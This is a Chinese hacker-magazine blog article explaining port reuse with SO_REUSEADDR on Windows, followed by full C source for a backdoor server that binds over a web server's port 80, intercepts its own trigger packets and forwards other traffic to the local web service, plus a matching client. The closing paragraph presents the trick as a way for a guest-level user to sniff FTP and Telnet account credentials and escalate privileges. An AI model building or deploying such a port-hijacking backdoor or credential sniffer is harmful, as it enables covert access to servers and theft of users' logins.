[watermark] 后天放假回家了~~现在来发回家前的最后一篇~~
端口复用大揭密
本文已于黑客防线发表
这学期课很少以至于很多时候都空闲着没什么事,于是就有了这么一篇文章的诞生,其实很早之前就想写这么一篇文章来和大家分享,只是当时很忙一直没时间写,今天终于有机会把这篇文章写出来了。
这一切要从黑防第三期说起,第三期中llikz写了一篇《轻松编写端口重定向程序》,这篇文章中写出了端口重定向的思路,不过看了这篇文章后发现这篇文章其实在开头这么一段其实是有错误的,这段内容如下:
在目标机建立两个套接字Socket1,Socket2,Scoket1监听80端口,当有连接来到时,Socket2连接3389端口,将Socket1接收到的数据通过Socket2转发。这样就能通过访问目标机80端口来连接3389端口了。
为什么说这个地方错了呢?这要从bind函数说起开始说起,这个函数有这么一段说明:bind将指定的套接字同一个已知地址和端口绑定在一起。一旦出错,bind函数会返回SOCKET_ERROR。对bind来说,最常见的错误是WSAEADDRINUSE。如果使用TCP/IP,那么该错误表示另一个进程已经同本地IP地址及端口号绑定到了一起,或者这个IP地址和端口号处于TIME_WAIT状态。假如对一个已绑定套疖子调用bind,便会返回WSAEFAULT错误。而llikz在文章说把3389重定向到80端口上,但按照他后面写的程序,却是不能够实现的,按照他后面的程序设计方法就需要在80端口上绑定一个套接字,但现在大家看看前面bind函数说明就知道肯定会返回WSAEADDRINUSE错误,因为另一个进程已经同本地IP地址及端口号绑定到了一起,因此llikz的程序只适应于把一个端口重定向到一个不特殊的端口上,而80端口对于web服务器来就是特殊端口。说了这么多llikz的文章,而这究竟和今天我要说的端口复用有什么联系呢?而今天要讲的端口复用问题就可以很好的解决端口重绑定问题。
一直以来端口复用被大家看做是十分神秘的技术,其实并不是大家所想象的那样。这里我给大家说下应用程序与他所用端口的关系,大家就会发现端口复用技术是如此的简单。其实应用程序或者进程所需要的ip和端口用的只是环路地址127.0.0.1和他所需要的端口,大家搞清这一点了就不难想到其中的奥秘。讲了端口复用技术的基本原理之后,我再给大家介绍一个端口复用技术中最重要的一个函数,这个函数就决定了端口的重绑定。函数原型及说明如下:
简述:
设置套接口的选项。
#include
int PASCAL FAR setsockopt( SOCKET s, int level, int optname,
const char FAR* optval, int optlen);
s:标识一个套接口的描述字。
level:选项定义的层次;目前仅支持SOL_SOCKET和IPPROTO_TCP层次。
optname:需设置的选项。
optval:指针,指向存放选项值的缓冲区。
optlen:optval缓冲区的长度。
注释:
setsockopt()函数用于任意类型、任意状态套接口的设置选项值。尽管在不同协议层上存在选项,但本函数仅定义了最高的"套接口"层次上的选项。选项影响套接口的操作,诸如加急数据是否在普通数据流中接收,广播数据是否可以从套接口发送等等。
有两种套接口的选项:一种是布尔型选项,允许或禁止一种特性;另一种是整形或结构选项。允许一个布尔型选项,则将optval指向非零整形数;禁止一个选项optval指向一个等于零的整形数。对于布尔型选项,optlen应等于sizeof(int);对其他选项,optval指向包含所需选项的整形数或结构,而optlen则为整形数或结构的长度。SO_LINGER选项用于控制下述情况的行动:套接口上有排队的待发送数据,且closesocket()调用已执行。参见closesocket()函数中关于SO_LINGER选项对closesocket()语义的影响。应用程序通过创建一个linger结构来设置相应的操作特性:
struct linger {
int l_onoff;
int l_linger;
};
为了允许SO_LINGER,应用程序应将l_onoff设为非零,将l_linger设为零或需要的超时值(以秒为单位),然后调用setsockopt()。为了允许SO_DONTLINGER(亦即禁止SO_LINGER),l_onoff应设为零,然后调用setsockopt()。
缺省条件下,一个套接口不能与一个已在使用中的本地地址捆绑(参见bind())。但有时会需要"重用"地址。因为每一个连接都由本地地址和远端地址的组合唯一确定,所以只要远端地址不同,两个套接口与一个地址捆绑并无大碍。为了通知WINDOWS套接口实现不要因为一个地址已被一个套接口使用就不让它与另一个套接口捆绑,应用程序可在bind()调用前先设置SO_REUSEADDR选项。请注意仅在bind()调用时该选项才被解释;故此无需(但也无害)将一个不会共用地址的套接口设置该选项,或者在bind()对这个或其他套接口无影响情况下设置或清除这一选项。(此处就是最关键的重绑定说明了)
一个应用程序可以通过打开SO_KEEPALIVE选项,使得WINDOWS套接口实现在TCP连接情况下允许使用"保持活动"包。一个WINDOWS套接口实现并不是必需支持"保持活动",但是如果支持的话,具体的语义将与实现有关,应遵守RFC1122"Internet主机要求-通讯层"中第4.2.3.6节的规范。如果有关连接由于"保持活动"而失效,则进行中的任何对该套接口的调用都将以WSAENETRESET错误返回,后续的任何调用将以WSAENOTCONN错误返回。
TCP_NODELAY选项禁止Nagle算法。Nagle算法通过将未确认的数据存入缓冲区直到蓄足一个包一起发送的方法,来减少主机发送的零碎小数据包的数目。但对于某些应用来说,这种算法将降低系统性能。所以TCP_NODELAY可用来将此算法关闭。应用程序编写者只有在确切了解它的效果并确实需要的情况下,才设置TCP_NODELAY选项,因为设置后对网络性能有明显的负面影响。TCP_NODELAY是唯一使用IPPROTO_TCP层的选项,其他所有选项都使用SOL_SOCKET层。
如果设置了SO_DEBUG选项,WINDOWS套接口供应商被鼓励(但不是必需)提供输出相应的调试信息。但产生调试信息的机制以及调试信息的形式已超出本规范的讨论范围。
setsockopt()支持下列选项。其中"类型"表明optval所指数据的类型。
选项 类型 意义
SO_BROADcast BOOL 允许套接口传送广播信息。
SO_DEBUG BOOL 记录调试信息。
SO_DONTLINER BOOL 不要因为数据未发送就阻塞关闭操作。设置本选项相当于将SO_LINGER的l_onoff元素置为零。
SO_DONTROUTE BOOL 禁止选径;直接传送。
SO_KEEPALIVE BOOL 发送"保持活动"包。
SO_LINGER struct linger FAR* 如关闭时有未发送数据,则逗留。
SO_OOBINLINE BOOL 在常规数据流中接收带外数据。
SO_RCVBUF int 为接收确定缓冲区大小。
SO_REUSEADDR BOOL 允许套接口和一个已在使用中的地址捆绑(参见bind())。
SO_SNDBUF int 指定发送缓冲区大小。
TCP_NODELAY BOOL 禁止发送合并的Nagle算法。
setsockopt()不支持的BSD选项有:
选项名 类型 意义
SO_ACCEPTCONN BOOL 套接口在监听。
SO_ERROR int 获取错误状态并清除。
SO_RCVLOWAT int 接收低级水印。
SO_RCVTIMEO int 接收超时。
SO_SNDLOWAT int 发送低级水印。
SO_SNDTIMEO int 发送超时。
SO_TYPE int 套接口类型。
IP_OPTIONS 在IP头中设置选项。
返回值:
若无错误发生,setsockopt()返回0。否则的话,返回SOCKET_ERROR错误,应用程序可通过WSAGetLastError()获取相应错误代码。
错误代码:
WSANOTINITIALISED:在使用此API之前应首先成功地调用WSAStartup()。
WSAENETDOWN:WINDOWS套接口实现检测到网络子系统失效。
WSAEFAULT:optval不是进程地址空间中的一个有效部分。
WSAEINPROGRESS:一个阻塞的WINDOWS套接口调用正在运行中。
WSAEINVAL:level值非法,或optval中的信息非法。
WSAENETRESET:当SO_KEEPALIVE设置后连接超时。
WSAENOPROTOOPT:未知或不支持选项。其中,SOCK_STREAM类型的套接口不支持SO_BROADcast选项,SOCK_DGRAM类型的套接口不支持SO_DONTLINGER 、SO_KEEPALIVE、SO_LINGER和SO_OOBINLINE选项。
WSAENOTCONN:当设置SO_KEEPALIVE后连接被复位。
WSAENOTSOCK:描述字不是一个套接口。
讲了复用的基本原理和重绑定函数后,这里我就以后门程序复用web服务的80端口做例子来为大家讲解端口复用技术,基本实现过程是这样的,后门程序对80端口进行监听,接收到数据后对数据进行分析,如果是自己的数据包则后门程序自己进行处理,如果不是则把数据转发到127.0.0.1地址的80端口上供本地web服务使用。实现代码如下:
服务端:
//服务器
#include "winsock.h"
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#pragma comment(lib,"wsock32.lib")
#define RECV_PORT 80
SOCKET sock,sock1;
sockaddr_in ServerAddr;
sockaddr_in ClientAddr;
BOOL val;
DWORD StartSock()//初始化
{
WSADATA WSAData;
if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0)
{
printf("socket初始化失败!\n");
return(-1);
}
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock==SOCKET_ERROR)
{
printf("socket创建失败!\n");
WSACleanup();
return(-1);
}
ServerAddr.sin_family=AF_INET;
ServerAddr.sin_addr.s_addr=inet_addr("10.10.2.68");//或者htonl(INADDR_ANY);本地对外ip
ServerAddr.sin_port=htons(RECV_PORT);
val=TRUE;
if(setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)//设置socket选项用来重绑定端口
{
printf("设置socket选项错误!\n");
return(-1);
}
if(bind(sock,(struct sockaddr FAR *)&ServerAddr,sizeof(ServerAddr))==SOCKET_ERROR)//绑定端口
{
printf("socket绑定失败!");
return(-1);
}
return(1);
}
struct SOCKSTRUCT
{
SOCKET *lsock;
SOCKET *csock;
};
LPTHREAD_START_ROUTINE talk(LPVOID lparam)//转发和判断处理数据线程,呵呵这里就用llikz的select方法来管理端口转发,忘了select用法的朋友参见llikz的文章
{
struct SOCKSTRUCT *conn=(struct SOCKSTRUCT *)lparam;
while(1)
{
fd_set fdr;
FD_ZERO(&fdr);
FD_SET(*(conn->csock),&fdr);
FD_SET(*(conn->lsock),&fdr);
int ret=select(*(conn->lsock)+2,&fdr,NULL,NULL,NULL);
if(ret==-1)
return(0);
if(FD_ISSET(*(conn->lsock),&fdr))
{
char buffer[20000];
int len=recv(*(conn->lsock),buffer,1024,0);
if(len==-1)
{
printf("error\n");
}
buffer[len]=';\0';;
printf(buffer);
if(buffer=="qingwa")//这里进行判断是否是自己的数据,这里我随便用一个代替,读者可以自己设定自己的判别标志.
{
//后门处理数据
printf("成功接收");
}
else send(*(conn->csock),buffer,len,0);//不是则转发到127.0.0.1上
}
}
return(0);
}
DWORD ConnectProcess()
{
if(StartSock()==-1)
return(-1);
int Addrlen;
Addrlen=sizeof(sockaddr_in);
if(listen(sock,5)<0)
{
printf("监听失败!");
return(-1);
}
printf("监听中.....\n");
fd_set fdr;
FD_ZERO(&fdr);
FD_SET(sock,&fdr);
int ret=select(sock+1,&fdr,NULL,NULL,NULL);
if(ret==-1)
return(-1);
if(ret==1)
{
sock1=accept(sock,(struct sockaddr FAR *)&ClientAddr,&Addrlen);
SOCKET csock=socket(AF_INET,SOCK_STREAM,0);
struct sockaddr_in lc;
lc.sin_family=AF_INET;
lc.sin_port=htons(RECV_PORT);
lc.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");//应用程序或进程工作地址
if(setsockopt(sock1,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)//套接字sock1接收超时时处理
{
ret = GetLastError();
return (-1);
}
if(setsockopt(csock,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)//套接字csock接收超时处理
{
ret = GetLastError();
return(-1);
}
if(connect(csock,(struct sockaddr *)&lc,sizeof(lc))==SOCKET_ERROR)
return(-1);
struct SOCKSTRUCT twosock;
twosock.csock=&csock;
twosock.lsock=&sock1;
HANDLE hthread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)talk,(LPVOID)&twosock,0,NULL);
WaitForSingleObject(hthread,INFINITE);
CloseHandle(hthread);
}
WSACleanup();
return(1);
}
int main()
{
if(ConnectProcess()==-1)
return(-1);
return(1);
}
客户端:
#include "winsock.h"
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#pragma comment(lib,"wsock32.lib")
#define RECV_PORT 80
SOCKET sock;
sockaddr_in ServerAddr;
DWORD StartSock()//初始化
{
WSADATA WSAData;
if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0)
{
printf("socket初始化失败!\n");
return(-1);
}
ServerAddr.sin_family=AF_INET;
ServerAddr.sin_addr.s_addr=inet_addr("10.10.2.68");
ServerAddr.sin_port=htons(RECV_PORT);
return(1);
}
DWORD CreateSocket()//创建套接字
{
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock==SOCKET_ERROR)
{
printf("创建套接字失败!\n");
WSACleanup();
return(-1);
}
return(1);
}
DWORD CallServer()//连接服务端
{
CreateSocket();
if(connect(sock,(struct sockaddr *)&ServerAddr,sizeof(ServerAddr))==SOCKET_ERROR)
{
printf("连接失败!\n");
closesocket(sock);
return(-1);
}
return(1);
}
DWORD TCPSend(char data[],int datalen)发送数据
{
int length=send(sock,data,datalen,0);
if(length<=0)
{
printf("发送错误!\n");
closesocket(sock);
WSACleanup();
return(-1);
}
return(1);
}
int main()
{
char buff[1024];
int bufflen;
memset(buff,0,strlen(buff));
scanf("%s",&buff);
bufflen=sizeof(buff);
StartSock();
if(CallServer()==-1)
return(-1);
if(TCPSend(buff,bufflen)==-1)
{
printf("错误\n");
return(-1);
}
Sleep(100);
closesocket(sock);
return(1);
}
至此整个端口复用的程序框架就出来了,剩下的数据结构部分和功能部分就靠大家自由去发挥了,不过还有一点大家要注意,就是必须要正常的应用进程或者服务先启动,否则先启动复用程序的话正常的应用进程或者服务就无法正常启动了,所以我们在写自己的程序时就需要先进行判断,判断的方法有很多种,这里我就不再给出此部分代码了。上面介绍的setsockopt函数之所以介绍了这么多,是因为这个函数非常的好,利用这个函数重绑定socket你就可以轻易的在很低权限上监听到具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接、钩子或低层的驱动技术,例如可以在guest权限下sniffer到21或者23端口的帐户信息,从而进一步获得系统权限。希望以上的端口复用技术能给大家带来一些新的思路,开拓出一片新的视野。[/watermark] |